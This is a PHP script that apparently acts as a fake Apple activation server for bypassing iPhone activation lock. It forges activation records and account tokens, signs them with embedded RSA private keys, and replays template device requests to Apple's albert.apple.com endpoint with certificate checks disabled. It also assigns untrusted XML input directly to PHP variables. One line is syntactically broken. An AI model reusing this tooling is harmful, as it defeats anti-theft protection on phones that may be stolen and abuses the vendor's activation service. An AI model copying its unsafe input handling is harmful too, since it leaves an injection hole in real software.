<?php

require('CFPropertyList/CFPropertyList.php'); 
require_once('vendor/autoload.php');

$debug=false;
if($debug==true)
{ 
	ini_set('display_errors', 1);
	ini_set('display_startup_errors', 1);
	error_reporting(E_ALL);
}

error_reporting(0);
set_time_limit(0);


if(!isset($_POST['activation-info']) || empty($_POST['activation-info'])) { exit('Method not implemented'); }
if(isset($_POST['activation-info'])) {
    
	$activation = $_POST['activation-info'];
	$ticketID = $_POST['activation-info'];
	$encodedrequest = new DOMDocument;
	$encodedrequest->loadXML($activation);
	$activationDecoded= base64_decode($encodedrequest->getElementsByTagName('data')->item(0)->nodeValue);

	$decodedrequest = new DOMDocument;
	$decodedrequest->loadXML($activationDecoded);
	$nodes = $decodedrequest->getElementsByTagName('dict')->item(0)->getElementsByTagName('*');
	    
	for ($i = 0; $i < $nodes->length - 1; $i=$i+2){
	  ${$nodes->item($i)->nodeValue} = preg_match('/(true|false)/', $nodes->item($i + 1)->nodeName) ? $nodes->item($i + 1)->nodeName : $nodes->item($i + 1)->nodeValue;
	    switch ($nodes->item($i)->nodeValue){
        case "ActivationState": $activationState = $nodes->item($i + 1)->nodeValue; break;
        case "ActivationRandomness": $activationRandomness = $nodes->item($i + 1)->nodeValue; break;
        case "DeviceCertRequest": $deviceCertRequest = $nodes->item($i + 1)->nodeValue; break;
        case "DeviceClass": $deviceClass = $nodes->item($i + 1)->nodeValue; break;
        case "BasebandChipID": $BasebandChipID = $nodes->item($i + 1)->nodeValue; break;
        case "InternationalMobileEquipmentIdentity": $imei = $nodes->item($i + 1)->nodeValue; break;
        case "MobileEquipmentIdentifier": $meid = $nodes->item($i + 1)->nodeValue; break;
        case "ProductType": $productType = $nodes->item($i + 1)->nodeValue; break;
        case "ProductVersion": $productVersion = $nodes->item($i + 1)->nodeValue; break;
        case "OSType": $OSType = $nodes->item($i + 1)->nodeValue; break;
        case "WifiAddress": $wifi = $nodes->item($i + 1)->nodeValue; break;
        case "UniqueChipID": $ecid = $nodes->item($i + 1)->nodeValue; break;
        case "ChipID": $chipID = $nodes->item($i + 1)->nodeValue; break;
        case "BluetoothAddress": $BluetoothAddress = $nodes->item($i + 1)->nodeValue; break;
        case "UniqueDeviceID": $uniqueDeviceID = $nodes->item($i + 1)->nodeValue; break;
        case "SerialNumber": $serialNumber = $nodes->item($i + 1)->nodeValue; break;
        case "BasebandMasterKeyHash": $BasebandMasterKeyHash = $nodes->item($i + 1)->nodeValue; break;
        case "BasebandSerialNumber": $BasebandSerialNumber = $nodes->item($i + 1)->nodeValue; break;
        case "RegulatoryModelNumber": $RegulatoryModelNumber = $nodes->item($i + 1)->nodeValue; break;
        case "ModelNumber": $ModelNumber = $nodes->item($i + 1)->nodeValue; break;
        case "BuildVersion": $BuildVersion = $nodes->item($i + 1)->nodeValue; break;
        case "mac_fg": $mac_fg = $nodes->item($i + 1)->nodeValue; break;
        case "SIMStatus": $SIMStatus = $nodes->item($i + 1)->nodeValue; break;
        case "UIKCertification": $UIKCertification = $nodes->item($i + 1)->nodeValue; break;
	    }
	} 
	$RKCertification= $encodedrequest->getElementsByTagName('data')->item(3)->nodeValue;
	$RKSignature= $encodedrequest->getElementsByTagName('data')->item(4)->nodeValue;

	$IMSIUnlocked = '311580112345678';
	$ICCIDUnlocked = '89014103278673435379';
	$iOSBuildUnlocked = '19B74';
	$iOSVersionUnlocked = '15.1';

    $FPDC=FPDC_ALL($activationRandomness,$deviceCertRequest,$uniqueDeviceID,$BuildVersion,$DeviceClass,$DeviceVariant,$ModelNumber,$OSType,$productType,$ProductVersion,$RegulatoryModelNumber,$UniqueChipID);


    $FairPlayKeyData = $FPDC[0];
    $DeviceCertificate = $FPDC[1];
    
	file_put_contents("/IC-Info.sisv", $FPDC[0];);
$private_key = '-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCzYmXsSN3d7UTU8f77wm9C0IIJAwCmAeixBwkmWxJl239RFe9P
RbOPzk0WHTiEARBXToxx4V7eZxR12kiaTG/wRWVm6Jy1okz0U8HsmGKQsJS+EvKg
rFx3Fgdz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NNNDlCQU1DCkEya0FNR1lDTVFEZjV6TmlpS04vSnFtczF3KzNDRFlrRVNPUGllSk1wRWtMZTlhMFVqV1hFQkRMMFZFc3EvQ2QKRTNhS1hrYzZSMTBDTVFEUzRNaVdpeW1ZK1J4a3Z5L2hpY0REUXFJL0JMK04zTEhxekpaVXV3MlN4MGFmRFg3Qgo2THlLaytzTHE0dXJrTVk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0=";


    if(empty($imei)==false && empty($meid)==true){
      $baseband_ticket=baseband_nomeid($BasebandMasterKeyHash, $BasebandChipID, $BasebandSerialNumber, $BuildVersion, $productType, $productVersion, $RegulatoryModelNumber,$activationRandomness);
        
        $AccountToken=base64_encode('{
        "InternationalMobileEquipmentIdentity" = "'.$imei.'";
        "PhoneNumberNotificationURL" = "https://albert.apple.com/deviceservices/phoneHome";
        "SerialNumber" = "'.$serialNumber.'";
        "InternationalMobileSubscriberIdentity" = "'.$IMSIUnlocked.'";
        "ProductType" = "'.$productType.'";
        "UniqueDeviceID" = "'.$uniqueDeviceID.'";
        "WildcardTicket" = "'.$baseband_ticket.'";
        "ActivationRandomness" = "'.$activationRandomness.'";
        "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
        "IntegratedCircuitCardIdentity" = "'.$ICCIDUnlocked.'";
        }');
    } else if(empty($imei)==false && empty($meid)==false){

      $AccountToken=base64_encode('{
          "InternationalMobileEquipmentIdentity" = "'.$imei.'";
          "ActivationTicket" = "'.$MEIDTicket.'";
          "PhoneNumberNotificationURL" = "https://albert.apple.com/deviceservices/phoneHome";
          "SerialNumber" = "'.$serialNumber.'";
          "InternationalMobileSubscriberIdentity" = "'.$IMSIUnlocked.'";
          "MobileEquipmentIdentifier" = "'.$meid.'";
          "ProductType" = "'.$productType.'";
          "UniqueDeviceID" = "'.$uniqueDeviceID.'";
          "ActivationRandomness" = "'.$activationRandomness.'";
          "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
          "IntegratedCircuitCardIdentity" = "'.$ICCIDUnlocked.'";
        }');
    }else{
      $AccountToken=base64_encode('{
        "CertificateURL" = "https://albert.apple.com/deviceservices/certifyMe";
        "SerialNumber" = "'.$serialNumber.'";
        "InternationalMobileSubscriberIdentity" = "";
        "ProductType" = "'.$productType.'";
        "UniqueDeviceID" = "'.$uniqueDeviceID.'";
        "ActivationRandomness" = "'.$activationRandomness.'";
        "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
        "IntegratedCircuitCardIdentity" = "";
        }');
    }

    $AccountTokenCertificate = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURaekNDQWsrZ0F3SUJBZ0lCQWpBTkJna3Foa2lHOXcwQkFRVUZBREI1TVFzd0NRWURWUVFHRXdKVlV6RVQKTUJFR0ExVUVDaE1LUVhCd2JHVWdTVzVqTGpFbU1DUUdBMVVFQ3hNZFFYQndiR1VnUTJWeWRHbG1hV05oZEdsdgpiaUJCZFhSb2IzSnBkSGt4TFRBckJnTlZCQU1USkVGd2NHeGxJR2xRYUc5dVpTQkRaWEowYVdacFkyRjBhVzl1CklFRjFkR2h2Y21sMGVUQWVGdzB3TnpBME1UWXlNalUxTURKYUZ3MHhOREEwTVRZeU1qVTFNREphTUZzeEN6QUoKQmdOVkJBWVRBbFZUTVJNd0VRWURWUVFLRXdwQmNIQnNaU0JKYm1NdU1SVXdFd1lEVlFRTEV3eEJjSEJzWlNCcApVR2h2Ym1VeElEQWVCZ05WQkFNVEYwRndjR3hsSUdsUWFHOXVaU0JCWTNScGRtRjBhVzl1TUlHZk1BMEdDU3FHClNJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRREZBWHpSSW1Bcm1vaUhmYlMyb1BjcUFmYkV2MGQxams3R2JuWDcKKzRZVWx5SWZwcnpCVmRsbXoySkhZdjErMDRJekp0TDdjTDk3VUk3ZmswaTBPTVkwYWw4YStKUFFhNFVnNjExVApicUV0K25qQW1Ba2dlM0hYV0RCZEFYRDlNaGtDN1QvOW83N3pPUTFvbGk0Y1VkemxuWVdmem1XMFBkdU94dXZlCkFlWVk0d0lEQVFBQm80R2JNSUdZTUE0R0ExVWREd0VCL3dRRUF3SUhnREFNQmdOVkhSTUJBZjhFQWpBQU1CMEcKQTFVZERnUVdCQlNob05MK3Q3UnovcHNVYXEvTlBYTlBIKy9XbERBZkJnTlZIU01FR0RBV2dCVG5OQ291SXQ0NQpZR3UwbE01M2cyRXZNYUI4TlRBNEJnTlZIUjhFTVRBdk1DMmdLNkFwaGlkb2RIUndPaTh2ZDNkM0xtRndjR3hsCkxtTnZiUzloY0hCc1pXTmhMMmx3YUc5dVpTNWpjbXd3RFFZSktvWklodmNOQVFFRkJRQURnZ0VCQUY5cW1yVU4KZEErRlJPWUdQN3BXY1lUQUsrcEx5T2Y5ek9hRTdhZVZJODg1VjhZL0JLSGhsd0FvK3pFa2lPVTNGYkVQQ1M5Vgp0UzE4WkJjd0QvK2Q1WlFUTUZrbmhjVUp3ZFBxcWpubTlMcVRmSC94NHB3OE9OSFJEenhIZHA5NmdPVjNBNCs4CmFia29BU2ZjWXF2SVJ5cFhuYnVyM2JSUmhUekFzNFZJTFM2alR5Rll5bVplU2V3dEJ1Ym1taWdvMWtDUWlaR2MKNzZjNWZlREF5SGIyYnpFcXR2eDNXcHJsanRTNDZRVDVDUjZZZWxpblpuaW8zMmpBelJZVHh0UzZyM0pzdlpEaQpKMDcrRUhjbWZHZHB4d2dPKzdidFcxcEZhcjBaakY5L2pZS0tuT1lOeXZDcndzemhhZmJTWXd6QUc1RUpvWEZCCjRkK3BpV0hVRGNQeHRjYz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=';

    // Sign Account Token
    openssl_sign(base64_decode($AccountToken), $signature, $private_key, 'sha1WithRSAEncryption'); //sha1WithRSAEncryption
    $AccountTokenSignature = base64_encode($signature);

    $response =
    '<plist version="1.0">
      <dict>
        <key>'.($deviceClass == "iPhone" ? 'iphone' : 'device').'-activation</key>
        <dict>
          <key>activation-record</key>
          <dict>
            <key>unbrick</key>
            <true/>
            <key>AccountTokenCertificate</key>
            <data>'.$AccountTokenCertificate.'</data>
            <key>DeviceCertificate</key>
            <data>'.$DeviceCertificate.'</data>
            <key>FairPlayKeyData</key><data>'.$FairPlayKeyData.'</data>
            <key>AccountToken</key><data>'.$AccountToken.'</data>
            <key>AccountTokenSignature</key><data>'.$AccountTokenSignature.'</data>
            <key>LDActivationVersion</key>
            <integer>2</integer>
            <key>RegulatoryInfo</key>
            <data>eyJtYW51ZmFjdHVyaW5nRGF0ZSI6bnVsbCwiZWxhYmVsIjp7ImJpcyI6bnVsbCwibWlpdCI6eyJuYWwiOm51bGwsImxhYmVsSWQiOm51bGx9fSwiY291bnRyeU9mT3JpZ2luIjpudWxsfQ==</data>
          </dict>
          <key>show-settings</key>
          <true/>
        </dict>
      </dict>
    </plist>';

    header("ARS: ".base64_encode(hex2bin(hash("sha1", $activation))));
    header('Content-type: application/xml');
    header('Content-Length: '.strlen($response));
    echo $response;

}


function albertrequest($query){
  $url = 'https://albert.apple.com/deviceservices/deviceActivation';
  $data_info=urlencode($query);
$post_data ="activation-info=".$data_info;
  
  //echo $bacio;
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL , $url );
  curl_setopt($ch, CURLOPT_RETURNTRANSFER , 1);
  curl_setopt($ch, CURLOPT_TIMEOUT , 60);
  curl_setopt($ch, CURLOPT_VERBOSE, 0);
   curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: albert.apple.com", "Content-Type: application/x-www-form-urlencoded", "Connection: keep-alive", "Accept: */*", "Accept-Language: en-US", "Content-Length: ".strlen($post_data)));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  curl_setopt($ch, CURLOPT_USERAGENT , "iOS Device Activator (MobileActivation-353.200.48)" );
  curl_setopt($ch, CURLOPT_POST , 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS , $post_data );

  $xml_response = curl_exec($ch);

  if (curl_errno($ch)) {
      $error_message = curl_error($ch);
      $error_no = curl_errno($ch);

      echo "error_message: " . $error_message . "<br>";
      echo "error_no: " . $error_no . "<br>";
  }

  curl_close($ch);
  return $xml_response;
}


// Generate Activation Record chunks based on iPhone 5C template activation request
function FPDC_ALL($activationRandomness,$deviceCertRequest,$uniqueDeviceID,$BuildVersion,$DeviceClass,$DeviceVariant,$ModelNumber,$OSType,$productType,$ProductVersion,$RegulatoryModelNumber,$UniqueChipID){

  $ActivationInfoXML = '<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>ActivationRequestInfo</key>
      <dict>
          <key>ActivationRandomness</key>
          <string>'.$activationRandomness.'</string>
          <key>ActivationState</key>
          <string>Unactivated</string>
          <key>FMiPAccountExists</key>
          <false/>
      </dict>
      <key>BasebandRequestInfo</key>
      <dict>
          <key>ActivationRequiresActivationTicket</key>
          <true/>
          <key>BasebandActivationTicketVersion</key>
          <string>V2</string>
          <key>BasebandChipID</key>
          <integer>7282913</integer>
          <key>BasebandMasterKeyHash</key>
          <string>AEA5CCE143668D0EFB4CE1F2C94C966A6496C6AA</string>
          <key>BasebandSerialNumber</key>
          <data>
          MJh5Bg==
          </data>
          <key>InternationalMobileEquipmentIdentity</key>
          <string>****REDACTED*****</string>
          <key>SIMStatus</key>
          <string>kCTSIMSupportSIMStatusNotInserted</string>
          <key>SupportsPostponement</key>
          <true/>
          <key>kCTPostponementInfoPRIVersion</key>
          <string>0.0.0</string>
          <key>kCTPostponementInfoPRLName</key>
          <integer>0</integer>
          <key>kCTPostponementInfoServiceProvisioningState</key>
          <false/>
      </dict>
      <key>DeviceCertRequest</key>
      <data>
      '.$deviceCertRequest.'
      </data>
      <key>DeviceID</key>
      <dict>
          <key>SerialNumber</key>
          <string>FCGNN5D2****</string>
          <key>UniqueDeviceID</key>
          <string>'.$uniqueDeviceID.'</string>
      </dict>
      <key>DeviceInfo</key>
      <dict>
          <key>BuildVersion</key>
          <string>'.$BuildVersion.'</string>
          <key>DeviceClass</key>
          <string>'.$DeviceClass.'</string>
          <key>DeviceVariant</key>
          <string>'.$DeviceVariant.'</string>
          <key>ModelNumber</key>
          <string>'.$ModelNumber.'</string>
          <key>OSType</key>
          <string>'.$OSType.'</string>
          <key>ProductType</key>
          <string>'.$productType.'</string>
          <key>ProductVersion</key>
          <string>'.$ProductVersion.'</string>
          <key>RegionCode</key>
          <string>IP</string>
          <key>RegionInfo</key>
          <string>IP/A</string>
          <key>RegulatoryModelNumber</key>
          <string>'.$RegulatoryModelNumber.'</string>
          <key>UniqueChipID</key>
          <integer>'.$UniqueChipID.'</integer>
      </dict>
      <key>RegulatoryImages</key>
      <dict>
          <key>DeviceVariant</key>
          <string>'.$DeviceVariant.'</string>
      </dict>
      <key>UIKCertification</key>
      <dict>
          <key>BluetoothAddress</key>
          <string>68:ae:20:9d:ce:81</string>
          <key>BoardId</key>
          <integer>14</integer>
          <key>ChipID</key>
          <integer>35152</integer>
          <key>EthernetMacAddress</key>
          <string>68:ae:20:9d:ce:82</string>
          <key>UIKCertification</key>
          <data>
          TlVMTA==
          </data>
          <key>WifiAddress</key>
          <string>68:ae:20:9d:ce:80</string>
      </dict>
  </dict>
  </plist>
';

  $ActivationInfoXML64 = base64_encode($ActivationInfoXML);

  $private = provide_privk();
  
  $FairPlayCertChain = provide_fairplaycertchain();
  
  openssl_sign($ActivationInfoXML, $signature, $private, 'sha1WithRSAEncryption'); //sha1WithRSAEncryption
  $ActivationInfoXMLSignature = base64_encode($signature);

  
  $data = '<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>ActivationInfoComplete</key>
      <true/>
      <key>ActivationInfoXML</key>
      <data>'.$ActivationInfoXML64.'</data>
      <key>FairPlayCertChain</key>
      <data>'.$FairPlayCertChain.'</data>
      <key>FairPlaySignature</key>
      <data>'.$ActivationInfoXMLSignature.'</data>
      <key>RKCertification</key>
      <data>
      TlVMTA==
      </data>
      <key>RKSignature</key>
      <data>
      TlVMTA==
      </data>
      <key>serverKP</key>
      <data>
      TlVMTA==
      </data>
      <key>signActRequest</key>
      <data>
      TlVMTA==
      </data>
</dict>
</plist>
';

  $responseXML=albertrequest($data);
        
  $encodedrequest = new DOMDocument;
  $encodedrequest->loadXML($responseXML);


$FairPlayKeyData=$encodedrequest->getElementsByTagName('data')->item(2)->nodeValue;
$DeviceCertificate=$encodedrequest->getElementsByTagName('data')->item(1)->nodeValue;

  return array($FairPlayKeyData, $DeviceCertificate);
}
                                  
                                  
function provide_privk() {
                                  
$private = '-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDFYApbhRlNahCjy7KYJr6ueYIZHUiZwYXqHiwVlx7SH6wO8VGd
y20FAXIRhqVg79bX6JDwJioCyy+CnnZrfPJ6EOeQnamLTIAsyZoK6/AfNLVlbL3U
iEduvo/oYX42NLakS5dd1xjBHEcVTVwcAJG48xSziREotHNpV2N6s7ZdMwIDAQAB
AoGALBnrBosFXc5SvH6Rv7x8g7ijsJ/h7nUWynqGaCaVnOa1x7r0/RiMmf86MR9Q
SYodi62r4PTuEyS6T2m/1QGcnfOaGRG1O1Lp4hS0h2iRzpzlfOw7Y4d5UwJkkGzU
kkOvKHWkygcrRP05bpNpNOmZnkIWwd94YTMm+2NKDt0FNJUCQQD70kEBv0z4+gwJ
HSqinCsM/dkFSJUEOMxcQz2tinj43ONp7Y/ItwmdmCsySaqz8Qx0kO3qHceSRKZV
AOwa04olAkEAyKZ/UACRT8C+5xhgwJrd7of02PJdBPbk0jXSIIZuKo/lxba2ZRIO
ejoIQaiyMkyI3uTDfirP+EiSzmcZhsyudwJAfkgM43RshDrYiEWBGPSZvjUafMTO
PcTB7s6lgn57dclHndpNDYmEn+wsVVaN7RjHdzkqpgnzB823X89Ll5RXpQJATYIj
g9/0Qf6Ov+5m0YABYvcZ2gQlcpl84sbvmKjVPZPAipN9+aTz+rsYHWTxEQUHijKM
Ydxf4eUG8Lxa2/uNGQJBAI+iWlpfSEMe/GmZugUhtEhodPDBuOzgCVHgivnfji/a
0EFPkqfehr4eM5X3YED2hxIz1XXfZcQXj8PsYYO00O0=
-----END RSA PRIVATE KEY-----';
return $private;
                                  
 }

function provide_fairplaycertchain() {

$FairPlayCertChain = " ";

return $FairPlayCertChain;
}


   // Generate GSM wildcard ticket based on iPhone 5S template activation request
                                  
  function baseband_nomeid($BasebandMasterKeyHash, $BasebandChipID, $BasebandSerialNumber, $BuildVersion, $productType, $productVersion, $RegulatoryModelNumber,$activationRandomness){
      $ActivationInfoXML = '<?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
      <plist version="1.0">
      <dict>
          <key>ActivationRequestInfo</key>
          <dict>
              <key>ActivationRandomness</key>
              <string>'.$activationRandomness.'</string>
              <key>ActivationState</key>
              <string>Unactivated</string>
              <key>FMiPAccountExists</key>
              <false/>
          </dict>
          <key>BasebandRequestInfo</key>
          <dict>
              <key>ActivationRequiresActivationTicket</key>
              <true/>
              <key>BasebandActivationTicketVersion</key>
              <string>V2</string>
              <key>BasebandChipID</key>
              <integer>'.$BasebandChipID.'</integer>
              <key>BasebandMasterKeyHash</key>
              <string>'.$BasebandMasterKeyHash.'</string>
              <key>BasebandSerialNumber</key>
              <data>
              '.$BasebandSerialNumber.'
              </data>
              <key>InternationalMobileEquipmentIdentity</key>
              <string>35882605574****</string>
              <key>SupportsPostponement</key>
              <true/>
              <key>kCTPostponementInfoPRIVersion</key>
              <string>0.1.167</string>
              <key>kCTPostponementInfoPRLName</key>
              <integer>0</integer>
              <key>kCTPostponementInfoServiceProvisioningState</key>
              <false/>
          </dict>
          <key>DeviceCertRequest</key>
          <data>
          TlVMTA==
          </data>
          <key>DeviceID</key>
          <dict>
              <key>SerialNumber</key>
              <string>F19M1NVZ****</string>
              <key>UniqueDeviceID</key>
              <string>59f52bd8bd9a03937035edffda7a83b748130ba9</string>
          </dict>
          <key>DeviceInfo</key>
          <dict>
              <key>BuildVersion</key>
              <string>'.$BuildVersion.'</string>
              <key>DeviceClass</key>
              <string>iPhone</string>
              <key>DeviceVariant</key>
              <string>A</string>
              <key>ModelNumber</key>
              <string>ME434</string>
              <key>OSType</key>
              <string>iPhone OS</string>
              <key>ProductType</key>
              <string>'.$productType.'</string>
              <key>ProductVersion</key>
              <string>'.$productVersion.'</string>
              <key>RegionCode</key>
              <string>DN</string>
              <key>RegionInfo</key>
              <string>DN/A</string>
              <key>RegulatoryModelNumber</key>
              <string>'.$RegulatoryModelNumber.'</string>
              <key>UniqueChipID</key>
              <integer>8616919305680</integer>
          </dict>
          <key>RegulatoryImages</key>
          <dict>
              <key>DeviceVariant</key>
              <string>A</string>
          </dict>
          <key>UIKCertification</key>
          <dict>
              <key>BluetoothAddress</key>
              <string>48:74:6e:b6:7b:40</string>
              <key>BoardId</key>
              <integer>2</integer>
              <key>ChipID</key>
              <integer>35168</integer>
              <key>EthernetMacAddress</key>
              <string>48:74:6e:b6:7b:41</string>
              <key>UIKCertification</key>
              <data>
              TlVMTA==
              </data>
              <key>WifiAddress</key>
              <string>48:74:6e:b6:7b:3f</string>
          </dict>
      </dict>
      </plist>

';

      $ActivationInfoXML64 = base64_encode($ActivationInfoXML);

      $private = provide_privk();
      
      $FairPlayCertChain = provide_fairplaycertchain();

      openssl_sign($ActivationInfoXML, $signature, $private, 'sha1WithRSAEncryption'); //sha1WithRSAEncryption
      $FairPlaySignature = base64_encode($signature);

      $data = '<?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
      <plist version="1.0">
      <dict>
          <key>ActivationInfoComplete</key>
          <true/>
          <key>ActivationInfoXML</key>
          <data>'.$ActivationInfoXML64.'</data>
          <key>FairPlayCertChain</key>
          <data>'.$FairPlayCertChain.'</data>
          <key>FairPlaySignature</key>
          <data>'.$FairPlaySignature.'</data>
          <key>RKCertification</key>
          <data>
          TlVMTA==
          </data>
          <key>RKSignature</key>
          <data>
          TlVMTA==
          </data>
          <key>serverKP</key>
          <data>
          TlVMTA==
          </data>
          <key>signActRequest</key>
          <data>
          TlVMTA==
          </data>
      </dict>
      </plist>';
      $responseXML=albertrequest($data);
                    
      $WilcardTicket="";
      $encodedrequest = new DOMDocument;
      $encodedrequest->loadXML($responseXML);

      $accountToken=$encodedrequest->getElementsByTagName('data')->item(3)->nodeValue;

      $accountToken=base64_decode($accountToken);
      //echo $accountToken;
      if(strpos($accountToken, "WildcardTicket")!==false)
      {
          $accountToken=explode('"WildcardTicket" = ', $accountToken);
          $accountToken=explode(";", $accountToken[1]);
          $WilcardTicket=str_replace('"', '', $accountToken[0]);
      }
      else if(strpos($accountToken, "ActivationTicket")!==false)
      {
          $accountToken=explode('"ActivationTicket" = ', $accountToken);
          $accountToken=explode(";", $accountToken[1]);
          $WilcardTicket=str_replace('"', '', $accountToken[0]);
      }

      return $WilcardTicket;
  } //baseband function